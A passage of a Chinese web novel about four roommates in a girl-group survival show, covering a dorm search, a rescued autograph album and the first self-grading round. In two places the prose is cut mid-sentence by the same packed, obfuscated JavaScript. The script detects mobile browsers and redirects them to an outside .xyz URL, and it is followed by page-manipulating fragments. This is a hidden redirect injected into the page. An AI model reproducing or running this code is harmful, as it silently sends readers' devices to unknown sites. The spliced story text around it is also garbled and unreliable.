可是很奇怪,明明时虞清的五官并不浓艳,五官也并不深遂,当蒋韫庭自上而下看她的时候,还是能感受到那张清丽如水的面孔带来的攻击力。 她自己就是明艳大方的长相,公司的造型师也有刻意将她往浓颜型包装,所以她一直觉得乌发红唇才足够惊心动魄,却没想到这种明净眉目也足以摄人心魂。 可…… “小蒋?”那张面孔在眼前倏然放大,蒋韫庭猝不及防地瞪圆了双眼,“小蒋?她们问这个可不可以收走。” 原来是在叫自己? 蒋韫庭倏地回神,还没确定东西是什么就仓促点头,“可、可以。” 她没想到时虞清望着人的时候杀伤力这么大,连忙后退了一点和她拉开距离,带着点别扭小声说,“我不喜欢和别人靠这么近。” 时虞清有些意外,但还是尊重她的意见往后退了点,用同样小声的语气回她:“抱歉呀,我以后会注意的。” 蒋韫庭闷闷地“嗯”完一声,才后知后觉自己周身一直萦绕着淡淡的香气,像是某种水生植物,带着潮湿而清冽的气味,闻上去有些冷,却并不让人讨厌。 但时虞清一退开,那股本来就浅淡的香气就直接原地消散,蒋韫庭左右望了望,才抬手装作揉鼻子深吸了一口气。 ……原来是她身上的味道,难怪。 她不太高兴地皱皱鼻子,一转头,才发现刚才被收走的是自己特意带过来的空白笔记本。 怎么这种东西都不让带……管得还挺严,蒋韫庭还没来的及在心里抱怨完,脑中就如火光电石般想起什么,她侧头看了眼身旁认真观察搜查进度的时虞清,发现对方好像根本没有注意到这边,心中纠结更甚。 但工作人员已经不给她继续纠结的时间了,蒋韫庭心一横,抢在工作人员搜到时虞清床上之前把那本厚厚的册子抱在手中,然后迅雷不及掩耳的速度把双手背在身后。 蒋韫庭还没有来得及松一口气,就眼见着工作人员拿着小型手持摄像机往这边来,她连忙拿稳手上砖头厚的册子,侧身给工作人员让开了道路。 每个人的床铺都是提前有工作人员整理好的,但是时虞清的床显然已经有人躺上去过,略厚的蚕丝被被人随意堆叠到床角,如果看得仔细,就不难发现上面有被脑袋蹭过的痕迹。 扎着低马尾、气质温柔的工作人员一路搜检过来,类似的床铺见了不知道有多少,来参加这档节目的都是年轻小女孩,爱笑闹容易累是很正常的事情,就算是在床上打滚也没有什么好稀奇的。 时虞清平时到处跑巡演,之前在学校还有话剧的路演,自认脸皮早已够厚,但是众目睽睽之下,她看到自己睡出了一个人印的床铺大咧咧地暴露在空气中,心中还是忍不住有些尴尬。 “这是什么?” 工作人员仔细地掀开被子,确认没有不相关物品存在才放下,又顺手帮时虞清将被子理回原位,这才发现墙边的柜子上有一物显得格格不入。 她一入手,沉甸甸的重量就压得她手心一坠,没等时虞清接话,她就错愕道:“……望远镜?!你带这个来干什么??” 时虞清一愣,她没先顺着工作人员的话解释原因,而是不假思索地脱口而出:“啊?不能带吗?” 她确实没有想过这个可能性。 因为一场话剧需要在全国多个城市巡演至少十来次,所以出差对于一名合格的话剧演员来说就成了家常便饭。 时虞清的行李箱一直都是准备好了的,里面各色装备齐全,不仅有常用的化妆品护肤品,更有润喉片发网等等一些零零碎碎的小东西, 她作为剧院里面那一批年纪小资历浅的青年演员,有时候话剧规模大时间长,她也会作为这场话剧的备用卡司跟着剧组全国各地跑; 这种话剧一般都是大热门,票一开就会被抢空,只剩下几张山顶票,而时虞清作为备用演员,并不用一直在后台准备,这时候就可以挑剩余的座位观看表演。 但往往山顶票视角奇差,不说演员们脸上的表情,就连舞台上的灯光布置和造景能不能看清都是一件难事,基本上就是听个响;所以对时虞清和热爱话剧舞台剧等演出的观众来说: 望远镜是必备的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234593|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西,其地位和润喉片的地位相当,可以用不上,但绝对绝对不可以没有。 所以望远镜就理所当然地出现在了时虞清的行李箱之中,并作为摆件登堂入室,摆在了离时虞清本人最近的位置。 可工作人员显然不这么以为,她晃了晃手中的望远镜,万般无奈:“当然不能了,给你拿走了哈。” 她说完,又耐心地重复了一遍规则:“和节目无关的任何东西都不可以带哦。” 时虞清见望远镜被收走时反应平平,但听到工作人员这一番话,却切切实实地提起心来—— 那她的纪念册怎么办?! 怪不得刚才一本日记本都会被收走,她来节目也就是走个过场,对于王姐的话也只是记了个重点就算完,根本不关心这档节目的各类繁文缛节。 她是尊重规则的人,不然也不会林院说停职她就没有再争,因为规矩就摆在那里,不尊重它反而是不爱惜羽毛。 可那本纪念册是全是国内TOP级话剧演员的签名照和演出票根,更重要的是,里面还有—— 时虞清心急如焚,却不好上手阻拦工作人员的例行工作,她紧紧盯着工作人员的工作,心中已经做好了求情的准备,如果求情行不通,她也已经想好了献祭哪几件衣服给这本纪念册做□□。 这是她能一路磕磕绊绊坚持到现在的原因,但凡多了一道划痕她心里都要滴血。 但是直到时虞清盯得眼睛发酸,也没等到工作人员摸出那本纪念册。 不应该呀。 时虞清皱着眉再次回忆了一遍,她几乎把自己从进门到站在这里的记忆的每个角落都搜刮了个干净,才再一次确认自己的的确确把纪念册放在了枕头边上。她绝对不可能记错对于纪念册的处置。 那么,纪念册到底去了哪里? 疑惑和焦急充斥着她的大脑,就算是真的被剧院暂停工作她也没有这样情绪失控过,但是脑海中仅存的理智却在不停提醒她冷静下来,这个时候不打自招只会自乱阵脚,送走了工作人员之后才可能会有转机。 四个工作人员一起搜查的时候效率简直超群,不多时就把四人的床铺上上下下摸了个干净。 时虞清现在急得和热锅上的蚂蚁没有分别,谭清清从小就是乖乖女,komi一幅作壁上观的样子,看上去都对自己私人领域被入侵这件事毫无异议。 可奇怪的是边界感极强,甚至一来就给三人立规矩的蒋韫庭也缄口不言,反倒紧紧抿着嘴,一动不动地站在原地。 四人各怀心思,简直就像是同床异梦的经年夫妻,但比起其貌合神离的常态,四人在此刻的想法惊人的相似: 搜查快点结束吧老天! 事实也正如她们所愿,在登记了到时要归还的物品之后,工作人员就向四人告辞,马不停蹄地前往隔壁。 初舞台测评马上就要开始,一切准备工作必须马上到位。 宿舍的门刚刚关上,时虞清就直接掀开床上的被子,准备自己亲自找纪念册,她现在心急如焚,连被子大半落在了地上也不顾,可她刚想伸出双手摸索,一双细白修长的手就挡在了她面前,紧接着,一本熟悉的册子倏然出现在她的视线之中—— “……给你,别找了。” 5. 初评级前夜 怎么会在她那里?!时虞清怎么也想不到会是这样,愕然开口:“你……” “我什么我?” 蒋韫庭显然招架不住时虞清这样直勾勾地盯着自己,索性反客为主,“要不是我,你这么大一本册子能活到现在还不被收走?” 她轻哼一声,双手抱臂在胸前,借着一点点微妙的身高差俯视时虞清,愉悦而期待地眯起眼睛:“——懂吗?” 时虞清看着她,明明看起来相当趾高气昂,很有一种挟恩相报的意思,可不知道为什么,看着蒋韫庭这副样子,时虞清却莫名其妙想起了剧院附近经常会出现的流浪猫。 分明端着一幅看不起人类的小猫脸,可一看到时虞清就开始小声喵喵叫,并且不管时虞清手上有没有冻干。 时虞清这个人相当拎得清,她的处事原则一向是比起怎么说先看怎么做,蒋韫庭能在重重围捕下掩护她的纪念册,不管是单纯好心还是顺手而为,于情于理她都应该认真感谢。 “懂懂懂,”时虞清笑起来,双手接过蒋韫庭递过来纪念册,稍微摸了摸才重新塞在枕头下面,“感谢小蒋同学的拔刀相助,大恩大德无以为报,不如我请你吃关东煮吧?” 时虞清一向不愿意委屈自己,身材管理是一回事,善待自己就又是另一回事了,在进宿舍之间她就扫过地图,附近能买到食物的只有一家罗森,这下也只能委屈恩人和她一起将就了。 其实早在向时虞清递还那本大册子的时候,蒋韫庭就不自觉设想过时虞清的反应,是失而复得的喜悦,还是劫后余生的后怕? 可她没有想到,她期待了那么久,先等来的竟然是时虞清的莞尔一笑。 很难想象这张清丽出尘的脸上会绽放出如此明媚的笑容,就好像生长在雪山之巅的高洁白莲被人突然摘了下来,还放在三伏天的炙热阳光下暴晒。 但花朵却并没有因此枯萎,而是施施然理理花瓣,转身向着太阳开得愈发热烈。 不过还是多年坚持的自律和好强战胜了内心,蒋韫庭心中天人交战,还是选择拒绝了时虞清,“不了,我不吃外面的东西。” 她本身骨架就大,如果不好好控制体重,上镜就会显得很惨。 蒋韫庭从小进公司当练习生,但并不是唱跳方向,是因为她自己的强烈坚持,才一直走到今天,有了现在的机会的。 比起歌手,爱豆的身材管理显然更加严格,在成功改变职业方向之前,蒋韫庭没少被公司的营养师和经纪人念叨,可自从她下定决心走这一条路之后,就再也没有在这方面让她们操心过。 时虞清有些遗憾,但还是选择尊重蒋韫庭的意见,并换了一种方式:“不管怎么样还是要谢谢你,这个对我来说真的非常重要,以后有什么能帮得上你的尽管说。” 她刚才一摸就知道纪念册完好无损,毕竟外皮用的是特殊材质,有没有划痕一摸就能摸出来。 可是因为要容纳各种尺寸的话剧宣传册和明信片,这本纪念册做得又大又厚,换个力气稍微小一点的女生,能不能一下子拿起来都不好说。 但是蒋韫庭却为她举了这本纪念册这么久,是真的用“谢谢”都难以报答的辛苦。 她朝蒋韫庭眨了眨眼,保证道:“赴汤蹈火在所不辞。” 没想到蒋韫庭却一下子扭过头去,脖颈微红,她小声道:“顺手的事而已……又不是救了你命。” 时虞清闻言也没有挪开视线,而是专注地放在蒋韫庭身上,“我说……” “我说二位,”女孩清冽的声音插进来,“别感谢来感谢去的了,速速来吃。” 时虞清一怔,反应了两秒才后知后觉地转头望去,只见komi正提着一大袋零食桌上放,看上去分量不轻。 时虞清:? "这……" 不是不让带吗?谭清清刚还被搜走了一下包零食呢。 没等她开口,komi就知道她要说什么。女孩毫不在意地向后一甩头发,彩色的脏辫猛地向后一扬,她满不在乎道:“藏东西而已噻,你们会我也会的。” 她说完就瘫回椅子上,边拆开手中的薯片包装边小声嘟囔:“儿豁,瓜娃子神兮兮的,吃的都不让带,还要不要人活了。” ……果然,川渝rapper多诚不欺我。 “就是呀,”谭清清接过komi吃薯片还没忘记递来的饼干,“吃得不让带就算了,周边竟然还不让带,真是可恶。” 她恨恨嚼着嘴里的饼干,一说到这个话题,她好像就变得格外健谈,简直和刚才的羞怯判若两人,“哎虞清,你藏得那个是什么呀,我看着有点像是收纳册哎。” 或许是因为一起藏东西的革命友谊,时虞清没有细究她突然性情大变的原因,也没有选择藏着掖着:“是之前看过的演出的签名版宣传册和票根,还有明信片。” “哇塞,”谭清清愣了一愣,随即了然:“那确实应该好好保护起来,这个很难拿吧。” 时虞清深以为然地点点头。 确实很难拿。 这一本纪念册是从她大学的时候开始攒的,一直到她面试成功进话剧院、世界各地跑巡演,越攒越厚,用来收纳的本子换了一个又一个, 然后,就到了现在。 按理来说,时虞清虽然是科班出身,但国内话剧演出算不上多,就算是一场不落也很难攒到现在这样厚厚一沓。 谭清清自己追星,身边也有朋友是剧女(喜欢看话剧的女生),多少了解一点。 她大概目测了一眼时虞清枕头鼓起的弧度,心中疑惑愈发旺盛。 其实整间宿舍,她才是最先认出时虞清的人。 作为在网络上冲浪速度5g的追星人,早在时虞清那个视频流出的第一时间谭清清就收到了好友发来的消息:“啊啊啊啊啊!!又是人质被抨击的一天,好想鼠。” 人质是剧女对于喜欢的剧演员的称呼,谭清清深以为精辟,自担落在公司(剧团)手上,可不就是人质? 花钱打榜做数据,熬夜出图追巡演,要不是为了自担,谁愿意花钱受罪? 所以谭清清第一时间给好友发去信息送上安慰:“咋了?” 好友此时显然在线,很快就回复了一个小猫瘫倒在地的表情包,并配文:“姐真的累了。” 没等谭清清回复,紧接着就是一大串消息发来:“她SD的时候女二在旁边快晕过去了,也是见了鬼了这场SD的时长都超过这场剧的演出时间了,主办方失心疯了搞这一出?” 这听起来不像是出了事,谭清清斟酌片刻,才小心翼翼回复:“那你人质是……?” “我人质路见不平拔刀相助,但好言难劝该死的鬼,现在被那帮鬼拍了视频挂在网上喷。。。” 原来是这样…… 谭清清倍感头痛,好像自家偶像也在这个时候爆出了莫须有的黑料,她只要想到这个可能性就眼前一黑,更何况是追过好几场演出真心实意跟完全程SD的好友? 她叹了一口气,逐字逐句地打字安慰朋友,“放宽心,既然是你的‘人质’,就算被骂也在可控范围内,安啦。” 话剧本来就是小众圈子,话剧演员就更是小众中的小众,就算被骂,掀起来的风浪也相当有限。 更何况话剧圈又不是饭圈,话剧演员靠实打实的演技说话,只要不是原则性的问题就算不上大事,只要这阵风头过去了就好。 谭清清想着想着,先把自己给说服了,她将想法一字不动地发给朋友,却不料收获了一个天塌了的灰暗表情包和一句“如果真的像你说的那样我就不会来你这里发疯了。” 没等谭清清再度陷入疑惑之中,她紧跟着发来一句,“是我最近的那个人质,时虞清。你知道吧?就是演参霄的那个。” 时虞清? 谭清清蓦然瞪大双眼,表情在瞄到身旁的平板时登时石化,然后一寸寸龟裂—— 时虞清一幅古装扮相,红色劲装显得干练又张扬,鬓边的金饰样式繁复华丽,却并不显得喧宾夺主。 毕竟比起佩戴者眉间如血般的鲜艳红痣与一身天上地下唯我独尊的傲慢气质,这些金饰就算再怎么华美也只能沦为配饰。 她漫不经心地抚摸着手中被折成两半的残剑,面带戏谑地看着半跪在地上、浑身浴血的主角:“背叛你们的人是我,又怎样?” 她将手中的断剑随意一掷,半截残剑没入被鲜血浸透的黄土之中,丝毫没有往日神兵利器的气势。 剑身上的繁复雕花闪烁着暗淡的微光,却将旁边一双已经毫无生气的瞳孔映得森然。 时虞清……不,应该是汝照云,她丝毫不在意染血的裙摆,背着手踱步到主角面前,然后面带愉悦地蹲下身,轻声道,“和我们魔族作对,就是这个下场。” ………… 谭清清目瞪口呆地见证完主角团中忽然加入的天真烂漫大小姐极限反水,当场爆改心狠手辣的魔族圣女,给了主角团致命一击。 她不自觉地咽了咽口水,才明白为什么好友心如死灰。 因为时虞清现在简直就是debuff叠满,当代互联网用户情绪化程度极高,这一波怒气不由角色不上升演员就算她十多年互联网白混。 她面露难色,勉强定了定神才一下一下敲着键盘,艰难回复道:“那、很、坏、了。” * 所以当谭清清第一眼在宿舍见到时虞清的时候,她的反应根本不是欣喜或者激动,而是吃惊和担忧。 她的朋友一直盯着这件事情,后来谭清清自己也知道了时虞清被停职的消息,她是真的没有想过会在《万象如我》这样一档选秀综艺上见到时虞清。 一个被网络肆意造谣、被化成实质伤害的人,究竟要鼓起多大的勇气,有多大的决心和毅力,才能在这么短复出,选择重新出现在大众眼前? 都说造谣一张嘴辟谣跑断腿,谭清清和朋友跑遍了每条关于时虞清的视频,在评论区中疯狂解释,收获的却只有冷嘲热讽和越来越多、恍若无尽的营销号视频。 “你们不会收钱了吧?” “笑死,你们主子给你多少钱?够不够洗洗脑子?” 这个互联网最不缺的就是义愤填膺的网友,谭清清和朋友发的每一条评论都是所谓的“正义路人”在讥讽,就连后台的私信,也多了数不清的问候私信。 既然这只是她这个无关重要的小角色在风暴边缘受到的波及,那么时虞清呢?时虞清这个身处风暴正中心的人呢? 在节目播出之后,她会面对什么?又会有多少双眼睛盯着时虞清,又会有多少张嘴张着可怖的獠牙,流着腥臭的涎水追在她后面不放? 谭清清不敢想象,正如那段时间,她甚至连点开自己账号后台的勇气都没有,999+的图标鲜红,倒映在她眼底却变成苍白一片。 * 谭清清猛地回神,才发现手中饼干的碎渣掉了满地,她暗自懊恼,将手里的饼干囫囵一吞就开始拎起扫把打扫。 komi诧异地望过来,“你就不吃了?” 她向着后面努努嘴,示意道:“还有噻。” 见谭清清摇头,她才放弃劝说,一边继续吃薯片一边小声念叨,“哎,我不吃零嘴就唱不了快嘴,这就是我的选择并不需要你的教诲……” 时虞清之前没有见过女rapper,但也听得出来她是老手,毕竟不是每个人就算是简单的说话也能押上韵,还说得抑扬顿挫富有变化。 她一向很喜欢听不同的人说不一样的话,索性盘了腿在床上,期待地望着komi,等待着freestyle的出现。 可现实却不如她所想,komi没有继续往下,而是边嚼薯片边问她们:“你们都是个人练习生吗?” 她观察到现在才得出结论,这三个人在之前并不相互认识, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234594|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全没有在同一个公司的可能。 时虞清这才后知后觉想起了自己的合约问题,她自己的合同在剧院,严格意义上来说算是有一份编制。 而剧院和公司又是合作关系,所以除了话剧院的演出,她也会从公司派给她的经纪人王姐手中接通告。 也是托了王姐的福,暂停剧院的工作之后她才有事可做。 但是这次参加选秀……时虞清暗自思忖,说:“没,应该是要挂公司的title。” 蒋韫庭也摇头:“我们公司就派了我一个。” 老牌唱片公司,会唱的人多如牛毛,会唱又会跳却少之又少。 只有谭清清点头,诚恳道:“我是。” 说完,她上下打量了komi一番,心说这也不像是不签公司的呀。 或许是察觉到她疑惑的视线,komi言简意赅地解释:“我队友在隔壁。” 听到这话,时虞清连连点头,表示自己知道。 只有谭清清上上下下地扫了komi一圈,迟疑了半天才走过去,小声在komi的耳边说:“你要是被欺负了,可以跟经纪人说。” 谭清清虽然不是女团出身,却也知道组合之中必定存在性格不合带来的隔阂,有些组合会内部消化,有的组合确会直接内化成暴力,长期下来逼疯一个人也算不上什么难事。 谁知komi先是诧异地望她一眼,随即了然,只好无奈解释道:“……我没被欺负,只是合不来而已。” 合不来又干嘛强求?再说只是节目期间作为团队活动而已,没必要强求自己。 谭清清放下心来,用赞许的眼光看了komi一眼,才大咧咧坐回床上,“国内办韩系选秀可是第一次呢,也不知道热度怎么样。为了这个委屈自己确实没有必要。” 她说的是实话,《万象如我》确实是国内第一档唱跳选秀综艺,之前韩系、日系的选秀轮番大火,可对国内的影响终究有限。 国内的观众会不会愿意追本土化的选秀?万象的赛程和规则到底怎么样? 没有人说得清,所以就算各大公司心知肚明,第一个吃到螃蟹固然是好事,但在下嘴之前,谁知道你吃到的到底是螃蟹还是什么别的东西? “我来之前,公司告诉我说,”komi顿了顿,“万象为了向韩方那边买版权花了不少。” “但是谁说买了版权就一定会照本宣科?”蒋韫庭不屑一顾,“我公司告诉我,这节目黄了就继续回去唱歌。” 原来是这样吗? 时虞清听得直笑,心说难怪王姐极力说服她来,原来大家都不想下河探路。 “无所谓,就算黄了我的实习证明也到手了。” 谭清清乐颠颠地往脸上敷面膜,她现在已经完全放开了,有什么说什么:“就当放放假了。唉,如果在学校的话这会儿还在练功呢。” 她反手将衣服内袋的一张塑封卡片扣在镜子上面,边欣赏边往腿上糊剩下的精华液,“让我速速毕业吧好吗?我真的很想亲眼见到我担。” “你还追星啊?” komi探身过来,看了一眼才发现是一个不认识的女孩子,穿着奶油白色的羽绒服在漫天大雪中回眸一笑,“这是谁?” 她本是随口一问,却没有想到谭清清登时像打了鸡血一般回望过来,一边用激情慷慨地向她安利,一遍还不忘擦干净手上的粘液才碰那张小卡, “韩国大势爱豆殷辞玉!怎么样漂亮吧?我担可是门面!!” 她一脸陶醉地把卡片揣回去,“典藏版小卡,老天奶奶保佑才好不容易中了这一张,可难抽了。” 借着放好的功夫,她又欣赏了卡面中的女孩一眼,才黯然道:“要不是学校逼得紧,我就去看巡演了,唉。” 她担的巡演在国外,一来一回至少好几天,眼见着实习在即,辅导员说什么都不肯开假条,要不是学位证实在重要,她情愿爬围墙也要翻山越岭去见殷辞玉。 “我都没亲眼看见我担在舞台上的样子,”谭清清幽幽叹了一口气,“自己就要上舞台了。” 她脸上的面膜却实在承受不了这样的冲击,但就算被逼得移位也没见主人来扶,只好生无可恋地贴在脸边等着自己变干,“可见这个世界就是一个巨大的草台班子啊。” 时虞清踟蹰片刻,有心想开口安慰却担心她只是自嘲,她转念一想,自己一个演话剧的,练了那么多年声台形表,还不是要上台唱歌跳舞? 遂认为谭清清说得实在有道理,边在脑海中回忆明天的表演动作边悄悄把脑袋下面的纪念册挪开一点,以免压坏。 komi听了这话也凑过来,像是对此颇有心得,“希望明天的妆造能正常点,别给我戴那么多叮呤哐啷的首饰了。一天到晚瞎戳戳地乱搞。 rapper也是人好不好?老子并不是金属展架。” 四人之中只有蒋韫庭没有开口说话,她看上去似乎并不担心舞台,也不担心节目。 时虞清关切地看她一眼,确认她脸上没有焦虑泪痕等等绝对不应该出现在她脸上的东西之后才抬手关了灯。 “啪。” 原本喧嚣热闹的寝室登时陷入一片昏暗之中,黑暗和静默流淌在这个并不大的屋子里面,时间像是被放置在室温下的黄油,缓慢却坚定地流淌着。 只不过有人踌躇满志,有人心生忐忑。 但毕竟谁也不知道明天和下一盏聚光灯哪个先来,而聚光灯下的镜头稍纵即逝,无论是她,还是她们,都为了这一此的光亮等待许久、准备许久。 或许明天将要走上新的路,或许明天就是世界尽头; 或许比闪光灯来得更快的会是意外,也或许勇气也会比泪水先一步到达 她们的生命中,最不缺的就是这种“或许”。 不过没有关系,在下一个明天到来之前,她们至少有此刻安眠,此刻踌躇满志。 6. 初评级(一) 导播室。 佩戴着工牌的工作人员踩着满地箱子来去匆匆,佩戴着对话筒的编导气喘吁吁,眼睛一眨不眨地盯着玻璃房之中的口播室。 繁复的麦克风设备摆满了这件不算大的小房间,清澈的女声从其中缓慢流淌出来,腔调圆润,咬字清晰,每个字都踩在应有的重音上面: “……《万象如我》是由灵讯视频、中谊音乐娱乐集团联合出品,魔都灵讯影视文化传播有限公司联合打造的女团竞演类真人秀。该节目集 结中国女团行业最具潜力、表现力的100位女生, 给予广阔的平台和雄厚的导师力量支持,由全网观众通过线上渠道票选出五位女生,组成能给新生代带来正向积极情绪感染的全新概念女团。 本节目以打造不被定义的华夏女团为努力目标,致力于开创华夏女团的新潮流新风向,女团是森罗天地的众生万象,而由万象制作人亲手票选出来的她们,则是万象中最耀眼的“自我”。 ‘成为自己,成为万象。’ ” 女生近乎一字一顿,这段漫长的口播结束,站在一边的编导才如释重负地松了一口气。 他连忙朝着玻璃房比了一个“ok”的手势,见女生按下录制结束键后从录音室里面出来,他才抓起对讲器,朝着里面沉声道:“让出场顺序在前面的练习生先做妆造,这边可以开始了。” * 时虞清觉得,不管怎么说,能出手花大价钱买下版权的灵讯视频确实相当有钱。 跟随着工作人员的指引,两间加起来几乎超过三百平方的化妆间大得吓人,左右两边都是LED灯光的化妆镜一字排开,从左到右几乎全部都是忙碌的化妆师,相貌各异的女生端坐在镜子之后,算是忙碌中唯一剩下的秩序。 谭清清看着化妆间热火朝天的景象,忍不住倒吸一口凉气,她只在学校有大型演出的时候才见过这样的阵仗,但眼前显然阵仗更盛。 她们刚一坐下就有化妆师拿着一次性刷子迎上来,对方极其专业,拿着平板确认过姓名和妆造之后就开始动作,就连上底妆的动作也十分利落,丝毫不拖泥带水。 或许是因为今天的任务量过于繁重,化妆师都很默契地只做了最基础的妆造,将凸显特色的部分交给练习生们自由发挥。 毕竟就在这短短的二十多分钟之内,就不断有练习生源源不断地进来,她们人手有限,就算有心也实在是无力。 时虞清刚刚点头谢过身边的化妆师,对方就马不停蹄地走向下一个练习生的妆台,只来得及朝时虞清挥挥手作为应答。 看着镜中陌生却熟悉的自己,时虞清不禁生出几分恍惚,好像上一次化这样细致的全妆还是很久之前,下一个舞台近在咫尺,她却已经有点快回忆不起上一个舞台了。 她沉默着从桌上拿起一支化妆刷,细细地将眼下显然有些过多的卧蚕粉晕开,浅棕色顺着下眼皮的褶皱铺陈开来,镜中的女孩眉目清丽,一对浅色弯眉下是秋泓明光般的双眸,粼粼亮片闪粉将那对双眼妆点得顾盼生辉、活色生香。 时虞清已经很久没有自己拿起过化妆刷了,剧院有专门的化妆师,剧组有更加专业的妆造师,能追溯到上一段自己化妆的记忆好像还是大二那年,为了路演在同大学城的高校到处跑,自己化妆算得了什么,连道具都要手搓。 时虞清有些想笑,可镜中的女孩妆容精致,发型考究,但话剧演员并不这样能时时刻刻想这样光鲜,很多时候为了贴近角色需要扮老扮丑,戴着沉重的假发一站就是三四个小时,汗如雨下。 她站起身,将微卷的长发拨到腰侧,黑发瀑泻而下,一字肩长裙将细瘦的腰肢勾勒而出,细长的银色链条顺着腰身铺成到裙摆,和女孩唇上的艳色一起,为今天的舞台造型作唯二的点缀。 时虞清端详了自己片刻,刚准备转身去演播厅,却莫名顿住脚步,用纸巾将唇上鲜艳的水红色尽数抹去。 明明只是须臾数秒,她却像是在原地停留了漫长的一整个冬季。良久,她重新拨开另一支口红的管子,给自己重新上了唇妆。 或许即将作为爱豆在舞台上表演的时虞清需要鲜嫩娇艳的水红色作为点缀,可作为话剧演员的时虞清根本不需要,她只需要传尽人物的一颦一笑,而不是出演盛妆的自己。 * “时虞清!” 导播仔细地核对着顺序表,喊出了下一个上场的练习生。 时虞清站起身,跟着导播的指引走向最前面的乳白色通道,通道很长,四周都是架设的摄像机,黑洞洞的镜头恍若千万道目光,汇聚在这条通道之上。 但时虞清走得面不改色,好像根本没有看到这些摄像机一样,中跟皮鞋踏地的声音回荡在走道之中,显得莫名空荡。 在来着这里之前,时虞清还是尽责敬业,了解了关于选秀的基础知识。 在导师对练习生进行正式评级之前,练习生都会有一个自我评级的过程。从A到F,A代表你认可自己已经具备了成团出道的实力,F则代表你根本没准备好。 时虞清坦然拿过“F”的号码牌,丝毫没注意到摄像机后面朝着自己打手势示意互动的编导,像是下定了决心,头也不回地朝着通道出口扬长而去。 * “大家好,我是时虞清,来自结禾传媒,请多多指教。” 顺着鞠躬的动作,发尾从上飘荡而下,时虞清毫不在意地往后一捋,抬步向上走去。 她身后的大屏幕倏然一闪,变幻出硕大的logo,从时虞清的视角看过去,演播厅足足有一个足球场大小,从上到下摆满了各色椅子,号码牌从上到下,看上去极像端放天边的金字塔,自上而下俯瞰俗世人间。 时虞清话音刚落,耳边就传来了悉悉索索的小声讨论: “时虞清?哇我没看错吧她怎么来了?” “真勇啊我靠,被黑成那样还敢来选秀。” “……人家有什么不敢的,谁没被黑过?人家最起码有人黑,我现在微博粉丝都是个位数,还都是僵尸号。” “是呀人家最起码在大爆剧里面有名有姓,我有啥?我只有贴着F牌的姓名” “你可得了吧,这种场合严肃一点好不好。” “就不就不,你能拿我怎样??略略略!没见队长都没说我?哼。” “你们多大了呀还争这个……快别闹了,摄像头拍着呢。” “不过她本人看上去好漂亮哎……是那种很干净的漂亮,参霄那个妆造太艳了吧” “是是是我现在也这样觉得,还是黑长直适合她,不过我看她头发好像有一点点卷?神来之笔啊!” “接自然流畅弧度干净大美人同款卷发!” “接接接!!” 时虞清:…… 她也想要黑长直,可头发总捋不平,只能让它卷着到处晃荡。 她忽视掉女孩叽叽喳喳的小话,没有忽视谭清清摇晃得看上去像是要抽筋的手,从善如流地坐在了她的身旁——73号位。 蒋韫庭坐在不远处,微不可察地朝着时虞清点了点头。 时虞清朝她粲然一笑,张口像是说了一句什么,才转过头去和谭清清说话。 蒋韫庭愣了两秒,才反应过来时虞清那个口型是什么意思, 她是在说—— “你今天很好看”。 * 或许是因为前面的素材差不多够了,后面练习生的进场速度逐渐加快,不多时就几乎将这个演播厅占满,时虞清看了一水的美人大饱眼福,身边的谭清清不愧是追星妹,对几个练习生竟然也如数家珍。 “我靠燕临纾!”谭清清疯狂摇晃时虞清的手臂,“我担同一个公司的师妹!之前路透我见过她!” “你担的师妹……你怎么见过?你担不是韩国出道吗?” “哎呦那次路透是在公司附近啦!我担在公司楼下便利店买宵夜被拍了,结果站姐把姐吃烤肠的样子拍下来了,后来大家都说那根烤肠看上去很好吃,刚好那个月有路演,很多粉丝都在那里啊,大家就都去打卡姐的同款烤肠。” “然后呢?这跟你担师妹有什么关联吗?” “我的虞你咋一点都不上道呢?”谭清清恨铁不成钢,“韩国人能烤得出那么好吃的烤肠吗!那是咱们中国人烤的!” 她一摊手:“后来我们才知道姐吃的那根烤肠是同公司在便利店打工的师妹烤得,人家那是最后一天上班。 不得不说咱们中国人做吃的就是有一手哈,烤得肠隔那么远都被拍的金黄油亮,一看就好吃!” 她吸溜了两下口水,才最后总结到:“然后当时在现场的站姐就把师妹的高清美照放出来了,也算是为她造势吧,毕竟她是唯一一个吃上姐同款烤肠的女人,得感谢人家。” 时虞清哭笑不得,刚想把手臂从谭清清臂弯中抽出来,就听见她幽幽道: “你说我跟她搞好关系,能不能混一张我姐的签名照来? “” * 随着最后一张坐席被人占据,整个演播厅的灯光一下字熄灭了大半,整个场地倏然暗下来,陷入一片漆黑之中。 “虞清啊,我有点紧张怎么办?我腿好像在发抖。” “别抖,你实习证明不是拿到了吗,有啥好抖的。” “是是是没什么好抖的,最差最差就是在舞台上直接摔一跤,然后让我的导师我的学校在教育界蒙羞从此因为我而抬不起头而已,没事的没事的没事的。” “完了队长我手抖,待会儿如果把kpop跳得像扭秧歌公司会把我赶出去吗” “没事的余纭,你尽管跳,大不了咱俩二人转出道,还能一边抖一边跳。” “我的姐这种时候能别贫了吗!天津也不差咱俩二人转吧!” “不是你先贫的吗!大不了咱俩挂天津之眼上滴溜溜转,肯定有人看的!” “真的假的?你不会驴我吧。” “包真的包真的,绝对童叟无欺假一赔十!” 女孩们低低的讨论声还没有结束,就见大屏幕突然闪出 